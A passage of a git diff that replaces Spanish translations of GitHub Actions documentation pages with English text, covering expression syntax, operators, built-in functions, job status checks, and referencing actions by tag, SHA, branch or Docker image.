server](https://docs.docker.com/network/proxy/)" in the Docker documentation. diff --git a/translations/es-ES/content/actions/learn-github-actions/expressions.md b/translations/es-ES/content/actions/learn-github-actions/expressions.md index 9cf60e7616..b59a6e82ab 100644 --- a/translations/es-ES/content/actions/learn-github-actions/expressions.md +++ b/translations/es-ES/content/actions/learn-github-actions/expressions.md @@ -1,7 +1,7 @@ --- -title: Expresiones -shortTitle: Expresiones -intro: Puedes evaluar las expresiones en los flujos de trabajo y acciones. +title: Expressions +shortTitle: Expressions +intro: You can evaluate expressions in workflows and actions. versions: fpt: '*' ghes: '*' @@ -14,23 +14,23 @@ miniTocMaxHeadingLevel: 3 {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Acerca de las expresiones +## About expressions -Puedes usar expresiones para establecer variables programáticamente en archivos de flujo de trabajo y contextos de acceso. Una expresión puede ser cualquier combinación de valores literales, referencias a un contexto o funciones. Puedes combinar valores literales, referencias de contexto y funciones usando operadores. Para obtener más información sobre los contextos, consulta la sección "[Contextos](/actions/learn-github-actions/contexts)". +You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)." -Las expresiones se utilizan comúnmente con la palabra clave condicional `if` en un archivo de flujo de trabajo para determinar si un paso debe ejecutar. Cuando un condicional `if` es `true`, se ejecutará el paso. +Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run. -Debes usar una sintaxis específica para decirle a {% data variables.product.prodname_dotcom %} que evalúe una expresión en lugar de tratarla como una cadena. +You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string. {% raw %} `${{ }}` {% endraw %} -{% data reusables.github-actions.expression-syntax-if %} Para obtener más información acerca de los condicionales `if`, consulta la sección "[sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)". +{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." {% data reusables.github-actions.context-injection-warning %} -#### Expresión de ejemplo en un condicional `if` +#### Example expression in an `if` conditional ```yaml steps: @@ -38,7 +38,7 @@ steps: if: {% raw %}${{ }}{% endraw %} ``` -#### Ejemplo de parámetros en una variable de entorno +#### Example setting an environment variable {% raw %} ```yaml @@ -47,18 +47,18 @@ env: ``` {% endraw %} -## Literales +## Literals -Como parte de una expresión, puedes usar tipos de datos `boolean`, `null`, `number` o `string`. +As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types. -| Tipo de datos | Valor literal | -| ------------- | --------------------------------------------------------------------------------------- | -| `boolean` | `verdadero` o `falso` | -| `null` | `null` | -| `number` | Cualquier formato de número compatible con JSON. | -| `secuencia` | Debes usar comillas simples. Escapar comillas simples literales con una comilla simple. | +| Data type | Literal value | +|-----------|---------------| +| `boolean` | `true` or `false` | +| `null` | `null` | +| `number` | Any number format supported by JSON. | +| `string` | You must use single quotes. Escape literal single-quotes with a single quote. | -#### Ejemplo +#### Example {% raw %} ```yaml @@ -70,103 +70,103 @@ env: myHexNumber: ${{ 0xff }} myExponentialNumber: ${{ -2.99-e2 }} myString: ${{ 'Mona the Octocat' }} - myEscapedString: ${{ 'It''s open source!' } }} + myEscapedString: ${{ 'It''s open source!' }} ``` {% endraw %} -## Operadores +## Operators -| Operador | Descripción | -| ------------------------- | -------------------------- | -| `( )` | Agrupación lógica | -| `[ ]` | Índice | -| `.` | Desreferencia de propiedad | -| `!` | No | -| `<` | Menor que | -| `<` | Menor o igual | -| `>` | Mayor que | -| `>=` | Mayor o igual | -| `==` | Igual | -| `!=` | No es igual | -| `&&` | Y | -| \|\| | O | +| Operator | Description | +| --- | --- | +| `( )` | Logical grouping | +| `[ ]` | Index +| `.` | Property dereference | +| `!` | Not | +| `<` | Less than | +| `<=` | Less than or equal | +| `>` | Greater than | +| `>=` | Greater than or equal | +| `==` | Equal | +| `!=` | Not equal | +| `&&` | And | +| \|\| | Or | -{% data variables.product.prodname_dotcom %} realiza comparaciones de igualdad flexible. +{% data variables.product.prodname_dotcom %} performs loose equality comparisons. -* Si los tipos no coinciden, {% data variables.product.prodname_dotcom %} fuerza el tipo a un número. {% data variables.product.prodname_dotcom %} fusiona los tipos de datos con un número usando estas conversiones: +* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions: - | Type | Resultado | - | --------- | ------------------------------------------------------------------------------------------------------------------------------ | - | Nulo | `0` | - | Booleano | `verdadero` devuelve `1`
`falso` devuelve `0` | - | Secuencia | Analizado desde cualquier formato de número JSON legal, de lo contrario, `NaN`.
Nota: La cadena vacía arroja `0`. | - | Arreglo | `NaN` | - | Objeto | `NaN` | -* Una comparación de un `NaN` con otro `NaN` no genera `true`. Para obtener más información, consulta "[Documentos de Mozilla NaN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)". -* {% data variables.product.prodname_dotcom %} ignora las mayúsculas y minúsculas al comparar cadenas. -* Los objetos y matrices solo se consideran iguales cuando son la misma instancia. + | Type | Result | + | --- | --- | + | Null | `0` | + | Boolean | `true` returns `1`
`false` returns `0` | + | String | Parsed from any legal JSON number format, otherwise `NaN`.
Note: empty string returns `0`. | + | Array | `NaN` | + | Object | `NaN` | +* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)." +* {% data variables.product.prodname_dotcom %} ignores case when comparing strings. +* Objects and arrays are only considered equal when they are the same instance. -## Funciones +## Functions -{% data variables.product.prodname_dotcom %} ofrece un conjunto de funciones integradas que puedes usar en expresiones. Algunas funciones fusionan valores en una cadena para realizar las comparaciones. {% data variables.product.prodname_dotcom %} fusiona los tipos de datos con una cadena usando estas conversiones: +{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions: -| Type | Resultado | -| -------- | ------------------------------------------------- | -| Nulo | `''` | -| Booleano | `'verdadero'` o `'falso'` | -| Number | Formato decimal, exponencial para grandes números | -| Arreglo | Las matrices no se convierten en cadenas | -| Objeto | Los objetos no se convierten en cadenas | +| Type | Result | +| --- | --- | +| Null | `''` | +| Boolean | `'true'` or `'false'` | +| Number | Decimal format, exponential for large numbers | +| Array | Arrays are not converted to a string | +| Object | Objects are not converted to a string | ### contains -`contiene (buscar, elemento)` +`contains( search, item )` -Arroja `true` si `search` contiene `item`. Si `search` es una matriz, esta función arroja `true` si el `item` es un elemento de la matriz. Si `search` es una cadena, esta función arroja `true` si el `item` es una subcadena de `search`. Esta función no distingue mayúsculas de minúsculas. Fusiona valores en una cadena. +Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string. -#### Ejemplo usando una matriz +#### Example using an array `contains(github.event.issue.labels.*.name, 'bug')` -#### Ejemplo usando una cadena +#### Example using a string -`contains('Hello world', 'llo')` devuelve `verdadero` +`contains('Hello world', 'llo')` returns `true` ### startsWith `startsWith( searchString, searchValue )` -Arroja `true` cuando `searchString` empieza con `searchValue`. Esta función no distingue mayúsculas de minúsculas. Fusiona valores en una cadena. +Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string. -#### Ejemplo +#### Example -`startsWith('Hello world', 'He')` regresa a `verdadero` +`startsWith('Hello world', 'He')` returns `true` ### endsWith `endsWith( searchString, searchValue )` -Arroja `true` si `searchString` termina con `searchValue`. Esta función no distingue mayúsculas de minúsculas. Fusiona valores en una cadena. +Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string. -#### Ejemplo +#### Example -`endsWith('Hello world', 'He')` devuelve `verdadero` +`endsWith('Hello world', 'ld')` returns `true` ### format `format( string, replaceValue0, replaceValue1, ..., replaceValueN)` -Reemplaza valores en la `string`, con la variable `replaceValueN`. Las variables en la `string` se especifican con la sintaxis `{N}`, donde `N` es un entero. Debes especificar al menos un `replaceValue` y una `string`. No existe un máximo para el número de variables (`replaceValueN`) que puedes usar. Escapar las llaves utilizando llaves dobles. +Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces. -#### Ejemplo +#### Example -Arroja 'Hello Mona the Octocat' +Returns 'Hello Mona the Octocat' `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')` -#### Ejemplo de evasión de llaves +#### Example escaping braces -Devuelve '{Hello Mona the Octocat!}' +Returns '{Hello Mona the Octocat!}' {% raw %} ```js @@ -178,31 +178,31 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat') `join( array, optionalSeparator )` -El valor para `array` puede ser una matriz o una cadena. Todos los valores en `array` se concatenan en una cadena. Si proporcionas `optionalSeparator`, se inserta entre los valores concatenados. De lo contrario, se usa el separador predeterminado `,`. Fusiona valores en una cadena. +The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string. -#### Ejemplo +#### Example -`join(github.event.issue.labels.*.name, ', ')` puede devolver 'bug, help wanted' +`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted' ### toJSON `toJSON(value)` -Arroja una representación JSON con formato mejorado de `value`. Puedes usar esta función para depurar la información suministrada en contextos. +Returns a pretty-print JSON representation of `value`. You can use this function to debug the information provided in contexts. -#### Ejemplo +#### Example -`toJSON(job)` puede devolver `{ "status": "Success" }` +`toJSON(job)` might return `{ "status": "Success" }` ### fromJSON `fromJSON(value)` -Devuelve un objeto de JSON o un tipo de datos de JSON para `value`. Puedes utilizar esta función para proporcionar un objeto JSON como una expresión evaluada o para convertir variables de ambiente desde una secuencia. +Returns a JSON object or JSON data type for `value`. You can use this function to provide a JSON object as an evaluated expression or to convert environment variables from a string. -#### Ejemplo de devolver un objeto JSON +#### Example returning a JSON object -Este flujo de trabajo configura una matriz de JSON en un job, y lo pasa al siguiente job utilizando un resultado y `fromJSON`. +This workflow sets a JSON matrix in one job, and passes it to the next job using an output and `fromJSON`. {% raw %} ```yaml @@ -226,9 +226,9 @@ jobs: ``` {% endraw %} -#### Ejemplo de devolver un tipo de datos JSON +#### Example returning a JSON data type -Este flujo de trabajo utiliza `fromJSON` para convertir las variables de ambiente de una secuencia a un número entero o Booleano. +This workflow uses `fromJSON` to convert environment variables from a string to a Boolean or integer. {% raw %} ```yaml @@ -251,31 +251,31 @@ jobs: `hashFiles(path)` -Arroja un solo hash para el conjunto de archivos que coincide con el patrón de `path`. Puedes proporcionar un patrón de `path` o `path` múltiples se parados por comas. El `path` está relacionado con el directorio `GITHUB_WORKSPACE` y solo puede incluir archivos dentro del directorio `GITHUB_WORKSPACE`. Esta función calcula un hash SHA-256 individual para cada archivo coincidente, y luego usa esos hashes para calcular un hash SHA-256 final para el conjunto de archivos. Para más información sobre SHA-256, consulta "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)". +Returns a single hash for the set of files that matches the `path` pattern. You can provide a single `path` pattern or multiple `path` patterns separated by commas. The `path` is relative to the `GITHUB_WORKSPACE` directory and can only include files inside of the `GITHUB_WORKSPACE`. This function calculates an individual SHA-256 hash for each matched file, and then uses those hashes to calculate a final SHA-256 hash for the set of files. For more information about SHA-256, see "[SHA-2](https://en.wikipedia.org/wiki/SHA-2)." -Puedes usar caracteres de coincidencia de patrones para encontrar nombres de archivos. La coincidencia de patrones no distingue mayúsculas de minúsculas en Windows. Para obtener más información acerca de los caracteres compatibles con los patrones, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)". +You can use pattern matching characters to match file names. Pattern matching is case-insensitive on Windows. For more information about supported pattern matching characters, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions/#filter-pattern-cheat-sheet)." -#### Ejemplo con un solo patrón +#### Example with a single pattern -Encuentra cualquier archivo `package-lock.json` en el repositorio. +Matches any `package-lock.json` file in the repository. `hashFiles('**/package-lock.json')` -#### Ejemplo con patrones múltiples +#### Example with multiple patterns -Crea un hash para cualquier archivo de `package-lock.json` y de `Gemfile.lock` en el repositorio. +Creates a hash for any `package-lock.json` and `Gemfile.lock` files in the repository. `hashFiles('**/package-lock.json', '**/Gemfile.lock')` -## Funciones de verificación del estado del trabajo +## Job status check functions -Puedes usar las siguientes funciones de verificación de estado como expresiones en condicionales `if`. Se aplicará una verificación de estado predeterminado de `success()` a menos de que incluyas una de estas funciones. Para obtener información sobre los condicionales `if`, consulta "[Sintaxis de flujo de trabajo para acciones de GitHub](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)". +You can use the following status check functions as expressions in `if` conditionals. A default status check of `success()` is applied unless you include one of these functions. For more information about `if` conditionals, see "[Workflow syntax for GitHub Actions](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)." ### success -Arroja `true` cuando no falló ni se canceló ninguno de los pasos anteriores. +Returns `true` when none of the previous steps have failed or been canceled. -#### Ejemplo +#### Example ```yaml steps: @@ -286,9 +286,9 @@ steps: ### always -Ocasiona que el paso siempre se ejecute y devuelve `true`, aún cuando se cancela. No se ejecutará un trabajo o paso cuando una falla crítica impida que la tarea se ejecute. Por ejemplo, si fallaron las fuentes. +Causes the step to always execute, and returns `true`, even when canceled. A job or step will not run when a critical failure prevents the task from running. For example, if getting sources failed. -#### Ejemplo +#### Example ```yaml if: {% raw %}${{ always() }}{% endraw %} @@ -296,9 +296,9 @@ if: {% raw %}${{ always() }}{% endraw %} ### cancelled -Arroja `true` si se canceló el flujo de trabajo. +Returns `true` if the workflow was canceled. -#### Ejemplo +#### Example ```yaml if: {% raw %}${{ cancelled() }}{% endraw %} @@ -306,9 +306,9 @@ if: {% raw %}${{ cancelled() }}{% endraw %} ### failure -Arroja `true` cuando falla cualquiera de los pasos anteriores de un trabajo. +Returns `true` when any previous step of a job fails. If you have a chain of dependent jobs, `failure()` returns `true` if any ancestor job fails. -#### Ejemplo +#### Example ```yaml steps: @@ -317,11 +317,11 @@ steps: if: {% raw %}${{ failure() }}{% endraw %} ``` -## Filtros de objetos +## Object filters -Puedes usar la sintaxis `*` para aplicar un filtro y seleccionar los elementos coincidentes en una recopilación. +You can use the `*` syntax to apply a filter and select matching items in a collection. -Por ejemplo, considera una matriz de objetos llamada `fruits`. +For example, consider an array of objects named `fruits`. ```json [ @@ -331,4 +331,4 @@ Por ejemplo, considera una matriz de objetos llamada `fruits`. ] ``` -El filtro `fruits.*.name` arroja la matriz `[ "apple", "orange", "pear" ]` +The filter `fruits.*.name` returns the array `[ "apple", "orange", "pear" ]` diff --git a/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md b/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md index 3f75e0d19d..ed8b6f1ee4 100644 --- a/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md +++ b/translations/es-ES/content/actions/learn-github-actions/finding-and-customizing-actions.md @@ -1,7 +1,7 @@ --- -title: Encontrar y personalizar las acciones -shortTitle: Encontrar y personalizar las acciones -intro: 'Las acciones son los componentes básicos que hacen funcionar a tu flujo de trabajo. Un flujo de trabajo puede contener acciones que cree la comunidad, o puedes crear tus propias acciones directamente dentro del repositorio de tu aplicación. Esta guía te mostrará cómo descubrir, utilizar y personalizar las acciones.' +title: Finding and customizing actions +shortTitle: Finding and customizing actions +intro: 'Actions are the building blocks that power your workflow. A workflow can contain actions created by the community, or you can create your own actions directly within your application''s repository. This guide will show you how to discover, use, and customize actions.' redirect_from: - /actions/automating-your-workflow-with-github-actions/using-github-marketplace-actions - /actions/automating-your-workflow-with-github-actions/using-actions-from-github-marketplace-in-your-workflow @@ -21,13 +21,13 @@ topics: {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -## Resumen +## Overview -Las acciones que utilizas en tu flujo de trabajo pueden definirse en: +The actions you use in your workflow can be defined in: -- Un repositorio público -- El mismo repositorio en donde tu archivo de flujo de trabajo hace referencia a la acción -- Una imagen del contenedor Docker publicada en Docker Hub +- A public repository +- The same repository where your workflow file references the action +- A published Docker container image on Docker Hub {% data variables.product.prodname_marketplace %} is a central location for you to find actions created by the {% data variables.product.prodname_dotcom %} community.{% ifversion fpt or ghec %} [{% data variables.product.prodname_marketplace %} page](https://github.com/marketplace/actions/) enables you to filter for actions by category. {% endif %} @@ -35,75 +35,78 @@ Las acciones que utilizas en tu flujo de trabajo pueden definirse en: {% ifversion fpt or ghec %} -## Buscar las acciones de Marketplace en el editor de flujo de trabajo +## Browsing Marketplace actions in the workflow editor -Puedes buscar acciones manualmente o por coincidencia exacta directamente en el editor de flujo de datos de tu repositorio. Desde la barra lateral, puedes buscar una acción específica, ver las acciones destacadas, y buscar manualmente las categorías destacadas. También puedes ver la cantidad de estrellas que una acción ha recibido desde la comunidad {% data variables.product.prodname_dotcom %}. +You can search and browse actions directly in your repository's workflow editor. From the sidebar, you can search for a specific action, view featured actions, and browse featured categories. You can also view the number of stars an action has received from the {% data variables.product.prodname_dotcom %} community. -1. En tu repositorio, navega hasta el archivo de flujo de trabajo que deseas editar. -1. En el ángulo superior derecho de la vista del archivo, para abrir el editor de flujo de trabajo, haz clic en {% octicon "pencil" aria-label="The edit icon" %}.![Botón para editar un archivo de flujo de trabajo](/assets/images/help/repository/actions-edit-workflow-file.png) -1. A la derecha del editor, utiliza la barra lateral de {% data variables.product.prodname_marketplace %} para buscar las acciones. Las acciones con la insignia de {% octicon "verified" aria-label="The verified badge" %} indican que {% data variables.product.prodname_dotcom %} verificó que el creador de la acción es una organización asociada. ![Barra lateral del flujo de trabajo de Marketplace](/assets/images/help/repository/actions-marketplace-sidebar.png) +1. In your repository, browse to the workflow file you want to edit. +1. In the upper right corner of the file view, to open the workflow editor, click {% octicon "pencil" aria-label="The edit icon" %}. + ![Edit workflow file button](/assets/images/help/repository/actions-edit-workflow-file.png) +1. To the right of the editor, use the {% data variables.product.prodname_marketplace %} sidebar to browse actions. Actions with the {% octicon "verified" aria-label="The verified badge" %} badge indicate {% data variables.product.prodname_dotcom %} has verified the creator of the action as a partner organization. + ![Marketplace workflow sidebar](/assets/images/help/repository/actions-marketplace-sidebar.png) -## Agregar una acción a tu flujo de trabajo +## Adding an action to your workflow -Las páginas de listado de acciones incluyen la versión de la acción y la sintaxis de flujo de trabajo que se requiere para utilizar dicha acción. Para mantener estable a tu flujo de trabajo, aún cuando se hagan actualizaciones en una acción, puedes referenciar la versión de la acción a utilizar si especificas el número de etiqueta de Git o de Docker en tu archivo de flujo de trabajo. +An action's listing page includes the action's version and the workflow syntax required to use the action. To keep your workflow stable even when updates are made to an action, you can reference the version of the action to use by specifying the Git or Docker tag number in your workflow file. -1. Navega hasta la acción que deseas usar en tu flujo de trabajo. -1. En "Installation" (Instalación), haz clic en {% octicon "clippy" aria-label="The edit icon" %} para copiar la sintaxis del flujo de trabajo. ![Ver descripción de la acción](/assets/images/help/repository/actions-sidebar-detailed-view.png) -1. Pega la sintaxis como un nuevo paso en tu flujo de trabajo. Para obtener más información, consulta "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)." -1. Si la accion requiere que proprociones información de entrada, configúrala en tu flujo de trabajo. Para saber más sobre la información de entrada que pudiera requerir una acción, consulta la sección "[Utilizar entradas y salidas con una acción](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)". +1. Navigate to the action you want to use in your workflow. +1. Under "Installation", click {% octicon "clippy" aria-label="The edit icon" %} to copy the workflow syntax. + ![View action listing](/assets/images/help/repository/actions-sidebar-detailed-view.png) +1. Paste the syntax as a new step in your workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idsteps)." +1. If the action requires you to provide inputs, set them in your workflow. For information on inputs an action might require, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)." {% data reusables.dependabot.version-updates-for-actions %} {% endif %} -## Utilizar la administración de lanzamientos para tus acciones personalizadas +## Using release management for your custom actions -Los creadores de una acción comunitaria tienen la opción de utilizar etiquetas, ramas, o valores de SHA para administrar los lanzamientos de la acción. Similar a cualquier dependencia, debes indicar la versión de la acción que te gustaría utilizar basándote en tu comodidad con aceptar automáticamente las actualizaciones para dicha acción. +The creators of a community action have the option to use tags, branches, or SHA values to manage releases of the action. Similar to any dependency, you should indicate the version of the action you'd like to use based on your comfort with automatically accepting updates to the action. -Designarás la versión de la acción en tu archivo de flujo de trabajo. Revisa la documentación de la acción para encontrar información de su enfoque sobre la administración de lanzamientos, y para ver qué etiqueta, rama, o valor de SHA debes utilizar. +You will designate the version of the action in your workflow file. Check the action's documentation for information on their approach to release management, and to see which tag, branch, or SHA value to use. {% note %} -**Nota:** Te recomendamos que utilices un valor de SHA cuando uses acciones de terceros. Para obtener más información, consulta la sección "[Fortalecimiento de seguridad para las GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions)". +**Note:** We recommend that you use a SHA value when using third-party actions. For more information, see [Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#using-third-party-actions) {% endnote %} -### Utilizar etiquetas +### Using tags -Las etiquetas son útiles para que te permitan decidir cuándo cambiar entre versiones mayores y menores, pero son más efímeras y el mantenedor puede moverlas o borrarlas. Este ejemplo te muestra cómo seleccionar una acción que se ha marcado como `v1.0.1`: +Tags are useful for letting you decide when to switch between major and minor versions, but these are more ephemeral and can be moved or deleted by the maintainer. This example demonstrates how to target an action that's been tagged as `v1.0.1`: ```yaml steps: - uses: actions/javascript-action@v1.0.1 ``` -### Utilizar SHAs +### Using SHAs -Si necesitas utilizar un versionamiento más confiable, debes utilizar el valor de SHA asociado con la versión de la acción. Los SHA son inmutables y, por lo tanto, más confiables que las etiquetas o las ramas. Sin embargo, este acercamiento significa que no recibirás actualizaciones para una acción automáticamente, incluyendo las correcciones de errores y actualizaciones de seguridad. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value. {% endif %}Este ejemplo apunta al SHA de una acción: +If you need more reliable versioning, you should use the SHA value associated with the version of the action. SHAs are immutable and therefore more reliable than tags or branches. However this approach means you will not automatically receive updates for an action, including important bug fixes and security updates. {% ifversion fpt or ghes > 3.0 or ghae or ghec %}You must use a commit's full SHA value, and not an abbreviated value. {% endif %}This example targets an action's SHA: ```yaml steps: - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89 ``` -### Utilizar ramas +### Using branches -El especificar una rama destino para la acción significa que ésta siempre ejecutará la versión que se encuentre actualmente en dicha rama. Este acercamiento puede crear problemas si una actualización a la rama incluye cambios importantes. Este ejemplo apunta a una rama que se llama `@main`: +Specifying a target branch for the action means it will always run the version currently on that branch. This approach can create problems if an update to the branch includes breaking changes. This example targets a branch named `@main`: ```yaml steps: - uses: actions/javascript-action@main ``` -Para obtener más información, consulta la sección "[Utilizar la administración de lanzamientos para las acciones](/actions/creating-actions/about-actions#using-release-management-for-actions)". +For more information, see "[Using release management for actions](/actions/creating-actions/about-actions#using-release-management-for-actions)." -## Utilizar entradas y salidas con una acción +## Using inputs and outputs with an action -Una acción a menudo acepta o requiere entradas y genera salidas que puedes utilizar. Por ejemplo, una acción podría requerir que especifiques una ruta a un archivo, el nombre de una etiqueta, u otros datos que utilizará como parte del procesamiento de la misma. +An action often accepts or requires inputs and generates outputs that you can use. For example, an action might require you to specify a path to a file, the name of a label, or other data it will use as part of the action processing. -Para ver las entradas y salidas de una acción, revisa el `action.yml` o el `action.yaml` en el directorio raíz del repositorio. +To see the inputs and outputs of an action, check the `action.yml` or `action.yaml` in the root directory of the repository. -En este `action.yml` de ejemplo, la palabra clave `inputs` define una entrada requerida que se llama `file-path`, e incluye un valor predeterminado que se utilizará si ésta no se especifica. La palabra clave `outputs` define una salida que se llama `results-file`, la cual te dice en dónde se ubican los resultados. +In this example `action.yml`, the `inputs` keyword defines a required input called `file-path`, and includes a default value that will be used if none is specified. The `outputs` keyword defines an output called `results-file`, which tells you where to locate the results. ```yaml name: "Example" @@ -120,17 +123,16 @@ outputs: {% ifversion ghae %} -## Utilizar las acciones que se incluyen en {% data variables.product.prodname_ghe_managed %} -Predeterminadamente, puedes utilizar la mayoría de las +## Using the actions included with {% data variables.product.prodname_ghe_managed %} -acciones oficiales que crea {% data variables.product.prodname_dotcom %} en {% data variables.product.prodname_ghe_managed %}. Para obtener más información, consulta la sección "[Utilizar las acciones en {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)". +By default, you can use most of the official {% data variables.product.prodname_dotcom %}-authored actions in {% data variables.product.prodname_ghe_managed %}. For more information, see "[Using actions in {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-actions-in-github-ae)." {% endif %} -## Hacer referencia a una acción en el mismo repositorio en el que un archivo de flujo de trabajo usa la acción +## Referencing an action in the same repository where a workflow file uses the action -Si se define una acción en el mismo repositorio en el que tu archivo de flujo de trabajo usa la acción, puedes hacer referencia a la acción con ‌`{owner}/{repo}@{ref}` o la sintaxis `./path/to/dir` en tu archivo de flujo de trabajo. +If an action is defined in the same repository where your workflow file uses the action, you can reference the action with either the ‌`{owner}/{repo}@{ref}` or `./path/to/dir` syntax in your workflow file. -Ejemplo de estructura de archivo de repositorio: +Example repository file structure: ``` |-- hello-world (repository) @@ -142,24 +144,24 @@ Ejemplo de estructura de archivo de repositorio: | └── action.yml ``` -Ejemplo de archivo de flujo de trabajo: +Example workflow file: ```yaml jobs: build: runs-on: ubuntu-latest steps: - # Este paso revisa una copia de tu repositorio. + # This step checks out a copy of your repository. - uses: actions/checkout@v2 - # Este paso hace referencia al directorio que contiene la acción. + # This step references the directory that contains the action. - uses: ./.github/actions/hello-world-action ``` -El archivo `action.yml` se utiliza para proporcionar metadatos para la acción. Aprende sobre el contenido de este archivo en la sección "[Sintaxis de metadatos para las GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)" +The `action.yml` file is used to provide metadata for the action. Learn about the content of this file in "[Metadata syntax for GitHub Actions](/actions/creating-actions/metadata-syntax-for-github-actions)" -## Hacer referencia a un contenedor en Docker Hub +## Referencing a container on Docker Hub -Si se define una acción en una imagen de contenedor Docker publicada en Docker Hub, debes hacer referencia a la acción con la sintaxis `docker://{image}:{tag}` en tu archivo de flujo de trabajo. Para proteger tu código y tus datos, te recomendamos que verifiques la integridad de la imagen del contenedor Docker de Docker Hub antes de usarla en tu flujo de trabajo. +If an action is defined in a published Docker container image on Docker Hub, you must reference the action with the `docker://{image}:{tag}` syntax in your workflow file. To protect your code and data, we strongly recommend you verify the integrity of the Docker container image from Docker Hub before using it in your workflow. ```yaml jobs: @@ -169,8 +171,8 @@ jobs: uses: docker://alpine:3.8 ``` -Para encontrar algunos ejemplos de acciones de Docker, consulta el [flujo de trabajo de Docker-image.yml](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) y la sección "[Crear una acción de contenedor de Docker](/articles/creating-a-docker-container-action)". +For some examples of Docker actions, see the [Docker-image.yml workflow](https://github.com/actions/starter-workflows/blob/main/ci/docker-image.yml) and "[Creating a Docker container action](/articles/creating-a-docker-container-action)." -## Pasos siguientes +## Next steps -Para seguir aprendiendo sobre las {% data variables.product.prodname_actions %}, consulta la sección "[Características esenciales de las {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)". +To continue learning about {% data variables.product.prodname_actions %}, see "[Essential features of {% data variables.product.prodname_actions %}](/actions/learn-github-actions/essential-features-of-github-actions)." diff --git a/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md b/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md index 12c0fb54f4..762284674b 100644 --- a/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md +++ b/translations/es-ES/content/actions/learn-github-actions/reusing-workflows.md @@ -70,6 +70,7 @@ Called workflows can access self-hosted runners from caller's context. This mean * Reusable workflows stored within a private repository can only be used by workflows within the same repository. * Any environment variables set in an `env` context defined at the workflow level in the caller workflow are not propagated to the called workflow. For more information about the `env` context, see "[Context and expression syntax for GitHub Actions](/actions/reference/context-and-expression-syntax-for-github-actions#env-context)." * You can't set the concurrency of a called workflow from the caller workflow. For more information about `jobs..concurrency`, see "[Workflow syntax for GitHub Actions](/actions/learn-github-actions/workflow-syntax-for-github-actions#jobsjob_idconcurrency)." +* The `strategy` property is not supported in any job that calls a reusable workflow. ## Creating a reusable workflow diff --git a/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md b/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md index 4d9e479b9e..90de4101cd 100644 --- a/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md +++ b/translations/es-ES/content/actions/learn-github-actions/understanding-github-actions.md @@ -1,7 +1,7 @@ --- -title: Entender las GitHub Actions -shortTitle: Entendiendo las GitHub Actions -intro: 'Aprende lo básico de las {% 